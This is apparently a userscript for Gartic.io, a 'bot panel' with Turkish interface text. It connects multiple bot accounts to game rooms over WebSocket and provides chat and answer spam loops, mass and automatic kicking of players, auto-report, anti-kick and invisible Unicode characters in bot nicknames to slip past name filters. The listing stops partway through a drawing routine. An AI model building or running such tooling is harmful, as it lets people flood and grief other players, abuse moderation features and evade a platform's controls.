Msd

Gartic.io için Bot Paneli

  1. // ==UserScript==
  2. // @name Msd
  3. // @name:tr SDk
  4. // @description Gartic.io için Bot Paneli
  5. // @description:tr Gartic.io için Bot Paneli (WS ile)
  6. // @version 1.3
  7. // @author Msd
  8. // @license MIT
  9. // @match https://gartic.io/*
  10. // @grant GM_setValue
  11. // @grant GM_getValue
  12. // @grant GM_addValueChangeListener
  13. // @grant GM_addStyle
  14. // @grant window.focus
  15. // @grant window.close
  16. // @namespace https://greasyfork.org/users/1220697
  17. // @require https://cdn.jsdelivr.net/npm/sweetalert2@11
  18. // ==/UserScript==
  19.  
  20. (function() {
  21. 'use strict';
  22.  
  23. // SweetAlert2 CSS'yi ekle
  24. GM_addStyle(`
  25. @import url('https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css');
  26. `);
  27.  
  28. // Global Değişkenler
  29. let botc = 0, readyc = 0, otoeven = 0;
  30. let cmd = "", wss = [], tojoin = 0, usersinroom = [], customkickitems = [], messagejoinitems = [],
  31. tfr, tg, intervalbroadcast, intervalmsg, intervalanswer, intervalantiafk, rainbowdraw,
  32. rainbowdrawmode = false, botsidvalue = [], wordsInterval, botID, botlongID, theme, am,
  33. avatar = localStorage.getItem("avatar") || 1,
  34. botnick = localStorage.getItem("botnick") || "1",
  35. nick = localStorage.getItem("nick") || "Msd";
  36.  
  37. // ICEbot V5 HTML arayüzü
  38. const html = `
  39. <div class="userlist">
  40. <div class="userkickmenu"></div>
  41. <input type="submit" style="width:90px; background:red" onclick="window.postMessage('kickall','*')" value="KICK ALL">
  42. <input type="checkbox" class="kickonjoin"> Kick on join<br>
  43. <input type="checkbox" class="kickallwhenjoin"> Kick when join<hr>
  44. </div>
  45. <div class="option">
  46. <button class="hidemenu" onclick="window.postMessage('hidemenu','*')">
  47. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  48. <circle cx="12" cy="12" r="10"></circle>
  49. <line x1="15" y1="9" x2="9" y2="15"></line>
  50. <line x1="9" y1="9" x2="15" y2="15"></line>
  51. </svg>
  52. </button>
  53. <button class="menu1" onclick="window.postMessage('menu1','*')">
  54. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  55. <path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"></path>
  56. </svg>
  57. </button>
  58. <button class="menu2" onclick="window.postMessage('menu2','*')">
  59. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  60. <path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"></path>
  61. <circle cx="12" cy="7" r="4"></circle>
  62. </svg>
  63. </button>
  64. <button class="menu3" onclick="window.postMessage('menu3','*')">
  65. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  66. <path d="M12 20h9"></path>
  67. <path d="M16.5 3.5a2.121 2.121 0 0 1 3 3L7 19l-4 1 1-4L16.5 3.5z"></path>
  68. </svg>
  69. </button>
  70. <button class="menu4" onclick="window.postMessage('menu4','*')">
  71. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  72. <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
  73. <circle cx="9" cy="7" r="4"></circle>
  74. <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
  75. <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
  76. </svg>
  77. </button>
  78. <button class="menu5" onclick="window.postMessage('menu5','*')">
  79. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  80. <path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path>
  81. </svg>
  82. </button>
  83. <button class="menu6" onclick="window.postMessage('menu6','*')">
  84. <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
  85. <circle cx="12" cy="12" r="3"></circle>
  86. <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2z"></path>
  87. </svg>
  88. </button>
  89. </div>
  90. <div id="avatarlist" class="icebot">
  91. <div class="avatarlist"></div>
  92. </div>
  93. <div id="icebotlog" style="display:block; top:0px; max-height:3000px !important; height:300px !important;">
  94. <div class="icebotlog"></div>
  95. </div>
  96. <div id="icebot1" class="icebot">
  97. <center>
  98. <input type="text" id="roomlink" placeholder="Room Link"><br>
  99. <input type="text" id="botnick" placeholder="Bot Nick"><br>
  100. <input type="text" id="avatar" placeholder="Avatar"><br>
  101. <input type="submit" onclick="window.postMessage('join','*')" value="Join">
  102. </center>
  103. </div>
  104. <div id="icebot2" class="icebot">
  105. <center>
  106. <input type="text" id="broadcast" placeholder="Broadcast"><br>
  107. <input type="submit" onclick="window.postMessage('broadcast','*')" value="Send"><br>
  108. <input type="text" id="message" placeholder="Message"><br>
  109. <input type="submit" onclick="window.postMessage('chat','*')" value="Send"><br>
  110. <input type="text" id="answer" placeholder="Answer"><br>
  111. <input type="submit" onclick="window.postMessage('answer','*')" value="Send"><br>
  112. <input type="submit" onclick="window.postMessage('report','*')" value="Report"><br>
  113. <input type="submit" onclick="window.postMessage('jump','*')" value="Jump"><br>
  114. <input type="submit" onclick="window.postMessage('reconnect','*')" value="Reconnect"><br>
  115. <input type="submit" onclick="window.postMessage('acceptdraw1','*')" value="Accept Draw 1"><br>
  116. <input type="submit" onclick="window.postMessage('acceptdraw2','*')" value="Accept Draw 2"><br>
  117. <input type="submit" onclick="window.postMessage('tips','*')" value="Tips"><br>
  118. <input type="submit" onclick="window.postMessage('exit','*')" value="Exit"><br>
  119. <input type="submit" onclick="window.postMessage('draw','*')" value="Draw">
  120. </center>
  121. </div>
  122. <div id="icebot3" class="icebot">
  123. <center>
  124. <input type="text" id="broadcastspam" placeholder="Broadcast Spam"><br>
  125. <input type="submit" id="broadcaststart" onclick="window.postMessage('broadcastspamtoggle','*')" value="Start"><br>
  126. <input type="submit" id="broadcaststop" style="display:none" onclick="window.postMessage('stopbroadcast','*')" value="Stop"><br>
  127. <input type="text" id="messagespam" placeholder="Message Spam"><br>
  128. <input type="submit" id="msgstart" onclick="window.postMessage('chatspamtoggle','*')" value="Start"><br>
  129. <input type="submit" id="msgstop" style="display:none" onclick="window.postMessage('stopmsg','*')" value="Stop"><br>
  130. <input type="text" id="answerspam" placeholder="Answer Spam"><br>
  131. <input type="submit" id="answerstart" onclick="window.postMessage('answerspamtoggle','*')" value="Start"><br>
  132. <input type="submit" id="answerstop" style="display:none" onclick="window.postMessage('stopanswer','*')" value="Stop">
  133. </center>
  134. </div>
  135. <div id="icebot4" class="icebot">
  136. <center>
  137. <input type="text" id="customkick" placeholder="Custom Kick"><br>
  138. <input type="submit" onclick="addCustomKick()" value="Add"><br>
  139. <div id="kicklist-items"></div>
  140. </center>
  141. </div>
  142. <div id="icebot5" class="icebot">
  143. <center>
  144. <input type="text" id="messagejoin" placeholder="Join Message"><br>
  145. <input type="submit" onclick="addMessageJoin()" value="Add"><br>
  146. <div id="joinmessage-items"></div>
  147. </center>
  148. </div>
  149. <div id="icebot6" class="icebot">
  150. <center>
  151. <input type="checkbox" id="autoreport"> Auto Report<br>
  152. <input type="checkbox" id="autoskip"> Auto Skip<br>
  153. <input type="checkbox" id="antikick"> Anti Kick<br>
  154. <input type="checkbox" id="autokick"> Auto Kick<br>
  155. <input type="checkbox" id="antiafk"> Anti AFK<br>
  156. <input type="checkbox" id="autofarm"> Auto Farm<br>
  157. <input type="checkbox" id="autoguess"> Auto Guess<br>
  158. <input type="color" id="color1" value="#ffffff"><br>
  159. <input type="color" id="color2" value="#ffffff"><br>
  160. <input type="color" id="color3" value="#ffffff"><br>
  161. <input type="color" id="color4" value="#ffffff"><br>
  162. <input type="submit" onclick="window.postMessage('theme','*')" value="Change Theme"><br>
  163. <input type="submit" id="autoguessenable" onclick="window.postMessage('autoguessenable','*')" value="Enable Auto Guess"><br>
  164. <input type="submit" id="autoguessdisable" style="display:none" onclick="window.postMessage('autoguessdisable','*')" value="Disable Auto Guess">
  165. </center>
  166. </div>
  167. `;
  168.  
  169. function setCSS() {
  170. GM_addStyle(`
  171. body {
  172. margin: 0;
  173. background: #1a1a1a;
  174. color: #fff;
  175. font-family: 'Arial', sans-serif;
  176. min-height: 100vh;
  177. overflow: auto;
  178. }
  179. .userlist {
  180. position: fixed;
  181. top: 10px;
  182. left: 10px;
  183. width: 200px;
  184. background: #2a2a2a;
  185. padding: 10px;
  186. border-radius: 8px;
  187. box-shadow: 0 0 10px rgba(0,0,0,0.5);
  188. z-index: 9999;
  189. }
  190. .userkickmenu {
  191. max-height: 300px;
  192. overflow-y: auto;
  193. }
  194. .option {
  195. position: fixed;
  196. top: 10px;
  197. right: 10px;
  198. display: flex;
  199. flex-direction: column;
  200. gap: 5px;
  201. z-index: 9999;
  202. }
  203. .option button {
  204. background: #f5a623;
  205. border: none;
  206. padding: 10px;
  207. border-radius: 5px;
  208. cursor: pointer;
  209. transition: background 0.3s;
  210. }
  211. .option button:hover {
  212. background: #e69520;
  213. }
  214. .icebot {
  215. position: fixed;
  216. background: #2a2a2a;
  217. padding: 20px;
  218. border-radius: 8px;
  219. box-shadow: 0 0 10px rgba(0,0,0,0.5);
  220. z-index: 9999;
  221. display: none;
  222. }
  223. #avatarlist { top: 100px; left: 230px; }
  224. #icebotlog { top: 100px; right: 10px; }
  225. #icebot1 { top: 420px; left: 230px; }
  226. #icebot2 { top: 420px; right: 10px; }
  227. #icebot3 { top: 720px; left: 230px; }
  228. #icebot4 { top: 720px; right: 10px; }
  229. #icebot5 { top: 1020px; left: 230px; }
  230. #icebot6 { top: 1020px; right: 10px; }
  231. .icebot input[type="text"], .icebot input[type="color"] {
  232. width: 100%;
  233. padding: 8px;
  234. margin: 5px 0;
  235. border: 1px solid #f5a623;
  236. border-radius: 5px;
  237. background: #3a3a3a;
  238. color: #fff;
  239. }
  240. .icebot input[type="submit"] {
  241. width: 100%;
  242. padding: 8px;
  243. margin: 5px 0;
  244. background: #f5a623;
  245. border: none;
  246. border-radius: 5px;
  247. color: #fff;
  248. cursor: pointer;
  249. transition: background 0.3s;
  250. }
  251. .icebot input[type="submit"]:hover {
  252. background: #e69520;
  253. }
  254. .icebot input[type="checkbox"] {
  255. margin: 5px;
  256. }
  257. .icebotlog {
  258. max-height: 280px;
  259. overflow-y: auto;
  260. color: #fff;
  261. }
  262. .avatarlist {
  263. display: flex;
  264. flex-wrap: wrap;
  265. gap: 10px;
  266. }
  267. .player-item {
  268. display: flex;
  269. align-items: center;
  270. padding: 8px 12px;
  271. margin-bottom: 8px;
  272. background: #3a3a3a;
  273. border-radius: 10px;
  274. border: 1px solid #f5a623;
  275. color: #fff;
  276. }
  277. .player-item:hover {
  278. background: #4a4a4a;
  279. }
  280. .kick-btn {
  281. background: #ff4444;
  282. border: none;
  283. padding: 5px 10px;
  284. border-radius: 5px;
  285. color: #fff;
  286. cursor: pointer;
  287. }
  288. .kick-btn:hover {
  289. background: #cc3333;
  290. }
  291. @media (max-width: 768px) {
  292. .userlist, .option, .icebot {
  293. width: 90%;
  294. left: 5%;
  295. right: 5%;
  296. top: auto;
  297. position: relative;
  298. margin: 10px auto;
  299. }
  300. }
  301. `);
  302. }
  303.  
  304. function createHearts() {
  305. console.log('Creating hearts...');
  306. const heartsContainer = document.getElementById('hearts');
  307. if (!heartsContainer) {
  308. console.error('Hearts container not found!');
  309. return;
  310. }
  311. for (let i = 0; i < 20; i++) {
  312. const heart = document.createElement('div');
  313. heart.className = 'heart';
  314. heart.style.left = Math.random() * 100 + 'vw';
  315. heart.style.top = Math.random() * 100 + 'vh';
  316. heart.style.animationDelay = Math.random() * 15 + 's';
  317. heartsContainer.appendChild(heart);
  318. }
  319. }
  320.  
  321. function setmenu(menu) {
  322. console.log('Switching to menu:', menu);
  323. const elements = ['icebot1', 'icebot2', 'icebot3', 'icebot4', 'icebot5', 'icebot6', 'avatarlist'];
  324. elements.forEach(element => {
  325. const el = document.getElementById(element);
  326. if (el) {
  327. el.style.display = element === menu ? 'block' : 'none';
  328. } else {
  329. console.warn(`Element #${element} not found!`);
  330. }
  331. });
  332. }
  333.  
  334. function handleJoin() {
  335. console.log("handleJoin function triggered!");
  336. try {
  337. const roomLinkInput = document.getElementById('roomlink');
  338. if (!roomLinkInput) {
  339. throw new Error('Room link input not found!');
  340. }
  341. let roomLink = roomLinkInput.value.trim();
  342. if (!roomLink) {
  343. roomLink = window.location.href;
  344. roomLinkInput.value = roomLink;
  345. }
  346. const roomCode = roomLink.split("/")[3] || '';
  347. if (!roomCode) {
  348. throw new Error('Invalid room link!');
  349. }
  350. botc = 0;
  351. GM_setValue("resetcount", rand());
  352. readyc = 0;
  353. let msgstorage = localStorage.getItem("messagejoin");
  354. if (msgstorage) {
  355. try {
  356. let vm = JSON.parse(msgstorage);
  357. setTimeout(() => {
  358. vm.forEach(item => {
  359. GM_setValue("msg", item.msg + "►" + num(5000));
  360. });
  361. }, 4000);
  362. } catch (e) {
  363. console.error('Error parsing messagejoin:', e);
  364. }
  365. }
  366. const botNickInput = document.getElementById('botnick');
  367. const kickOnJoin = document.querySelector('.kickonjoin');
  368. GM_sendMessage("join", roomCode, botNickInput?.value || nick, avatar, localStorage.getItem("botnick") || "0", kickOnJoin?.checked || false, rand());
  369. const statusLog = document.getElementById('icebotlog');
  370. if (statusLog) {
  371. statusLog.innerText = `Durum: ${roomCode} odasına katılınıyor...`;
  372. }
  373. Swal.fire({
  374. toast: true,
  375. position: 'top-end',
  376. icon: 'info',
  377. title: 'Odaya katılınıyor...',
  378. showConfirmButton: false,
  379. timer: 2000
  380. });
  381. } catch (error) {
  382. console.error('handleJoin error:', error);
  383. Swal.fire({
  384. toast: true,
  385. position: 'top-end',
  386. icon: 'error',
  387. title: error.message || 'Katılma işlemi başarısız!',
  388. showConfirmButton: false,
  389. timer: 3000
  390. });
  391. }
  392. }
  393.  
  394. let rand = () => Math.floor(Math.random() * 1000000),
  395. GM_onMessage = (label, cb) => GM_addValueChangeListener(label, (_, __, data) => cb(...data)),
  396. GM_sendMessage = (label, ...data) => GM_setValue(label, data);
  397.  
  398. function f(ICE) {
  399. const element = document.querySelector(ICE);
  400. if (!element) {
  401. console.warn(`Element ${ICE} not found!`);
  402. }
  403. return element;
  404. }
  405. function fa(ICE) { return document.querySelectorAll(ICE); }
  406. function num(ICE) { return Math.ceil(Math.random() * ICE + 1); }
  407.  
  408. function rc(ICE) {
  409. let e = f('input[name="chat"]');
  410. let lv = e.value;
  411. e.value = "";
  412. let ev = new Event('input', { bubbles: true });
  413. ev.simulated = true;
  414. let t = e._valueTracker;
  415. if (t) { t.setValue(lv); }
  416. e.dispatchEvent(ev);
  417. }
  418.  
  419. function rs(ICE) {
  420. let e = f(".search input");
  421. let lv = e.value;
  422. e.value = "";
  423. let ev = new Event('input', { bubbles: true });
  424. ev.simulated = true;
  425. let t = e._valueTracker;
  426. if (t) { t.setValue(lv); }
  427. e.dispatchEvent(ev);
  428. }
  429.  
  430. function rnext(kelime) {
  431. const hd = kelime.split('');
  432. const hu = hd.length;
  433. const yh = [];
  434. const invisibleChars = ['\u200B', '\u200C', '\u200D', '\u2061', '\u2062', '\u2063', '\u2064', '\u2066', '\u17b4', '\u17b5', '\u2068', '\u2069'];
  435. let charCount = 0;
  436. for (let i = 0; i < hu; i++) {
  437. yh.push(hd[i]);
  438. charCount++;
  439. if (charCount < 18 && i < hu - 1) {
  440. const invisibleChar = invisibleChars[Math.floor(Math.random() * invisibleChars.length)];
  441. yh.push(invisibleChar);
  442. charCount++;
  443. }
  444. if (charCount >= 18) { break; }
  445. }
  446. return yh.join('');
  447. }
  448.  
  449. function addCustomKick() {
  450. console.log('addCustomKick called');
  451. const input = f('#customkick');
  452. if (!input) {
  453. console.error('Custom kick input not found!');
  454. return;
  455. }
  456. const user = input.value.trim();
  457.  
  458. if (!user) {
  459. Swal.fire({
  460. toast: true,
  461. position: 'top-end',
  462. icon: 'warning',
  463. title: 'Lütfen bir oyuncu adı girin.',
  464. showConfirmButton: false,
  465. timer: 3000
  466. });
  467. return;
  468. }
  469.  
  470. let list = [];
  471. try {
  472. const storedList = localStorage.getItem('customkick');
  473. if (storedList) {
  474. list = JSON.parse(storedList);
  475. }
  476. } catch (e) {
  477. console.error('localStorage parse hatası:', e);
  478. Swal.fire({
  479. toast: true,
  480. position: 'top-end',
  481. icon: 'error',
  482. title: 'Veri okuma hatası!',
  483. showConfirmButton: false,
  484. timer: 3000
  485. });
  486. return;
  487. }
  488.  
  489. list.push({ user });
  490. localStorage.setItem('customkick', JSON.stringify(list));
  491.  
  492. const container = f('#kicklist-items');
  493. if (!container) {
  494. console.error('Kick list items container not found!');
  495. return;
  496. }
  497. const item = document.createElement('div');
  498. item.className = 'player-item';
  499. item.innerHTML = `
  500. <span class="player-name">${user}</span>
  501. <button class="kick-btn" id="customkickuser.${user}">Kaldır</button>
  502. `;
  503. container.appendChild(item);
  504.  
  505. item.querySelector(`#customkickuser\\.${user}`).addEventListener('click', () => {
  506. window.postMessage(`customkickremove.${user}`, '*');
  507. });
  508.  
  509. input.value = '';
  510. Swal.fire({
  511. toast: true,
  512. position: 'top-end',
  513. icon: 'success',
  514. title: `${user} eklendi!`,
  515. showConfirmButton: false,
  516. timer: 2000
  517. });
  518.  
  519. addItem(customkickitems, user);
  520. }
  521.  
  522. function addMessageJoin() {
  523. console.log('addMessageJoin called');
  524. const input = f('#messagejoin');
  525. if (!input) {
  526. console.error('Message join input not found!');
  527. return;
  528. }
  529. const msg = input.value.trim();
  530.  
  531. if (!msg) {
  532. Swal.fire({
  533. toast: true,
  534. position: 'top-end',
  535. icon: 'warning',
  536. title: 'Lütfen bir mesaj girin.',
  537. showConfirmButton: false,
  538. timer: 3000
  539. });
  540. return;
  541. }
  542.  
  543. let list = [];
  544. try {
  545. const storedList = localStorage.getItem('messagejoin');
  546. if (storedList) {
  547. list = JSON.parse(storedList);
  548. }
  549. } catch (e) {
  550. console.error('localStorage parse hatası:', e);
  551. Swal.fire({
  552. toast: true,
  553. position: 'top-end',
  554. icon: 'error',
  555. title: 'Veri okuma hatası!',
  556. showConfirmButton: false,
  557. timer: 3000
  558. });
  559. return;
  560. }
  561.  
  562. list.push({ msg });
  563. localStorage.setItem('messagejoin', JSON.stringify(list));
  564.  
  565. const container = f('#joinmessage-items');
  566. if (!container) {
  567. console.error('Join message items container not found!');
  568. return;
  569. }
  570. const item = document.createElement('div');
  571. item.className = 'player-item';
  572. item.innerHTML = `
  573. <span class="player-name">${msg}</span>
  574. <button class="kick-btn" id="msgjoin.${msg}">Kaldır</button>
  575. `;
  576. container.appendChild(item);
  577.  
  578. item.querySelector(`#msgjoin\\.${msg}`).addEventListener('click', () => {
  579. window.postMessage(`messagejoinremove.${msg}`, '*');
  580. });
  581.  
  582. input.value = '';
  583. addItem(messagejoinitems, msg);
  584.  
  585. Swal.fire({
  586. toast: true,
  587. position: 'top-end',
  588. icon: 'success',
  589. title: 'Mesaj eklendi!',
  590. showConfirmButton: false,
  591. timer: 2000
  592. });
  593. }
  594.  
  595. const addItem = (arr, ...args) => { for (let i = 0; i < args.length; i++) { arr[arr.length] = args[i]; } return arr; };
  596. function arrayFilter(array) { return array.filter((value, index, arr) => arr.indexOf(value) === index); }
  597. function fnFILTER(arr) {
  598. let r = [], n = [];
  599. arr.forEach(obj => {
  600. const nick = obj.nick;
  601. if (!n.includes(nick)) {
  602. n.push(nick);
  603. r.push(obj);
  604. }
  605. });
  606. return r;
  607. }
  608.  
  609. document.addEventListener("click", function(event) {
  610. let target = event.target;
  611. if (target.classList.contains("avatar")) {
  612. let computedStyle = window.getComputedStyle(target);
  613. let backgroundImage = computedStyle.backgroundImage;
  614. if (backgroundImage.includes("url")) {
  615. let avatarUrl = backgroundImage.replace(/^url\(["']?/, '').replace(/["']?\)$/, '');
  616. window.open(avatarUrl, "_blank");
  617. }
  618. }
  619. });
  620.  
  621. if (window.location.href.indexOf("gartic.io") != -1) {
  622. let room, kicknewstat = false, kickjoinstat = false, autoreport = false, autoskip = false,
  623. antiafk = false, antikick = false, antikickDelay = 1, autokick = false, autoguess = 0,
  624. autofarm = false, waitforkick = 0;
  625.  
  626. GM_setValue("botekle", rand());
  627. GM_addValueChangeListener("resetcount", function(I, C, E, b) {
  628. GM_setValue("botekle", rand());
  629. });
  630. setTimeout(() => { waitforkick = 0; }, 1000);
  631.  
  632. GM_onMessage("reconnect", (_, __) => {
  633. const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || [];
  634. storedArray.forEach(obj => {
  635. let rws = new WebSocket("wss://" + obj.server + ".gartic.io/socket.io/?c=" + obj.code + "&EIO=3&transport=websocket");
  636. rws.onopen = () => {
  637. rws.send('42[7,"' + obj.room + '",' + obj.timestamp + ']');
  638. GM_onMessage("cmd", (cmd, x) => {
  639. switch (cmd) {
  640. case "broadcast":
  641. rws.send('42[11,' + obj.timestamp + ',"' + x + '"]');
  642. rws.send('42[13,' + obj.timestamp + ',"' + x + '"]');
  643. break;
  644. case "msg":
  645. rws.send('42[11,' + obj.timestamp + ',"' + x + '"]');
  646. break;
  647. case "answer":
  648. rws.send('42[13,' + obj.timestamp + ',"' + x + '"]');
  649. break;
  650. case "report":
  651. rws.send('42[35,' + obj.timestamp + ']');
  652. break;
  653. case "jump":
  654. rws.send('42[25,' + obj.timestamp + ']');
  655. break;
  656. case "accept1":
  657. rws.send('42[34,' + obj.timestamp + ']');
  658. break;
  659. case "accept2":
  660. rws.send('42[34,' + obj.timestamp + ',1]');
  661. break;
  662. case "tips":
  663. rws.send('42[30,' + obj.timestamp + ',1]');
  664. break;
  665. case "exit":
  666. rws.send('42[24,' + obj.timestamp + ']');
  667. break;
  668. case "kick":
  669. if (!botsidvalue.includes(x.split("..")[0])) {
  670. rws.send('42[45,' + obj.timestamp + ',["' + x.split("..")[0] + '",true]]');
  671. }
  672. break;
  673. }
  674. });
  675. };
  676. });
  677. });
  678.  
  679. GM_onMessage("join", (room, nick, avatar, botnick, kickonjoin, _) => {
  680. fetch("/logout").then(response => {
  681. console.log('Logout response:', response);
  682. return fetch("https://" + window.location.href.split("/")[2] + "/server?check=1&v3=1&room=" + room + "&__cpo=aHR0cHM6Ly9nYXJ0aWMuaW8#");
  683. }).then(response => response.text()).then(x => {
  684. console.log('Server response:', x);
  685. let ws = new WebSocket("wss://" + window.location.href.split("/")[2] + "/__cpw.php?u=" + btoa("wss://" + x.split("https://")[1].split(".")[0] + ".gartic.io/socket.io/?c=" + x.split("?c=")[1] + "&EIO=3&transport=websocket") + "&o=aHR0cHM6Ly9nYXJ0aWMuaW8=");
  686. ws.onopen = () => {
  687. let inter = setInterval(() => {
  688. GM_setValue("ready", rand());
  689. if (tojoin == 1) {
  690. tojoin = 0;
  691. if (botnick === '0') {
  692. ws.send('42[3,{"v":20000,"nick":"' + rnext(nick) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]');
  693. } else if (botnick === '1') {
  694. ws.send('42[3,{"v":20000,"nick":"' + nick + Math.ceil(Math.random() * 10000 + 1) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]');
  695. }
  696. clearInterval(inter);
  697. }
  698. }, 50);
  699. };
  700. ws.onclose = () => {
  701. wss = wss.filter(w => w.ws !== ws);
  702. };
  703. ws.onmessage = (msg) => {
  704. if (msg.data.indexOf('42["23"') != -1) {
  705. let user = JSON.parse("{" + msg.data.split("{")[1].split("}")[0] + "}");
  706. usersinroom.push(user);
  707. if (kicknewstat) {
  708. typeof(user.id) == "string" ? ws.send('42[45,' + ws.id + ',["' + user.id + '",true]]') : ws.send('42[45,' + ws.id + ',[' + user.id + ',true]]');
  709. }
  710. }
  711. if (msg.data.indexOf('42["5"') != -1) {
  712. let objlist = JSON.parse('["5"' + msg.data.split('42["5"')[1]);
  713. ws.theme = objlist[4].tema;
  714. ws.room = objlist[4].codigo;
  715. ws.id = objlist[2];
  716. objlist[5].forEach(item => { usersinroom.push(item); });
  717. let targetid = objlist[5][0].id;
  718. botID = objlist[2];
  719. const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || [];
  720. const newData = { code: x.split("?c=")[1], room: objlist[3], server: x.split("https://")[1].split(".")[0], timestamp: objlist[2] };
  721. storedArray.push(newData);
  722. localStorage.setItem('ws-reconnect-data', JSON.stringify(storedArray));
  723. botlongID = objlist[1];
  724. theme = objlist[4].tema;
  725. setTimeout(() => { f(".roomtheme").innerHTML = theme; }, 10);
  726. setTimeout(() => { GM_sendMessage("botsidvalue", botlongID, rand()); }, 777);
  727. setTimeout(() => { GM_sendMessage("updatelist", botID, rand()); }, 777);
  728. setTimeout(() => { antikickDelay = 0; }, 2000);
  729. kickjoinstat ? typeof(targetid) == "string" ? ws.send('42[45,' + ws.id + ',["' + targetid + '",true]]') : ws.send('42[45,' + ws.id + ',[' + targetid + ',true]]') : 0;
  730. ws.send('42[46,' + objlist[2] + ']');
  731. GM_onMessage('answerinput', (atılacak, _) => { f('#answer').value = atılacak; });
  732. GM_onMessage("botsidvalue", (datachangex, _) => { botsidvalue.push(datachangex); });
  733. GM_onMessage("updatelist", (datachangex, _) => { GM_sendMessage("updatebotidlist", botsidvalue, rand()); });
  734. GM_onMessage("updatebotidlist", (datachangex, _) => {
  735. if (!botsidvalue.includes(datachangex)) {
  736. addItem(botsidvalue, ...datachangex);
  737. }
  738. botsidvalue = arrayFilter(botsidvalue);
  739. });
  740. GM_addValueChangeListener("broadcast", function(I, C, E, b) {
  741. ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
  742. ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
  743. });
  744. GM_addValueChangeListener("msg", function(I, C, E, b) {
  745. ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
  746. });
  747. GM_addValueChangeListener("answer", function(I, C, E, b) {
  748. ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
  749. });
  750. GM_addValueChangeListener("report", function(I, C, E, b) {
  751. ws.send('42[35,' + objlist[2] + ']');
  752. });
  753. GM_addValueChangeListener("jump", function(I, C, E, b) {
  754. ws.send('42[25,' + objlist[2] + ']');
  755. });
  756. GM_onMessage("draw", (_, __) => {
  757. function calcPixel(x, y, larguraImagem, alturaImagem) {
  758. const re = (y * larguraImagem + x) * 4;
  759. return { re: re, x: x, y: y };
  760. }
  761. function pixelsend(inicioX, inicioY, larguraG, alturaG) {
  762. const larguraImagem = 767;
  763. const alturaImagem = 448;
  764. let re = 0;
  765. function enviarProximoPixel() {
  766. const x = inicioX + re % larguraG;
  767. const y = inicioY + Math.floor(re / larguraG);
  768. if (y < inicioY + alturaG) {
  769. const pixel = calcPixel(x, y, larguraImagem, alturaImagem);
  770. ws.send('42[10,' + ws.id + ',[2,' + pixel.x + ',' + pixel.y + ']]');
  771. re++;
  772. setTimeout(enviarProximoPixel, 250);
  773. }
  774. }
  775. enviarProximoPixel();
  776. }
  777. function pixels() {
  778. const larguraImagem = 767;
  779. const alturaImagem = 448;
  780. const larguraG = 10;
  781. const alturaG = 10;
  782. const intervaloEnvio = 50;
  783. let y = 0;
  784. let gVAL = setInterval(function() {
  785. pixelsend(0, y, larguraG, alturaG);
  786. y += alturaG;
  787. if (y >= alturaImagem) {
  788. clearInterval(gVAL);
  789. }
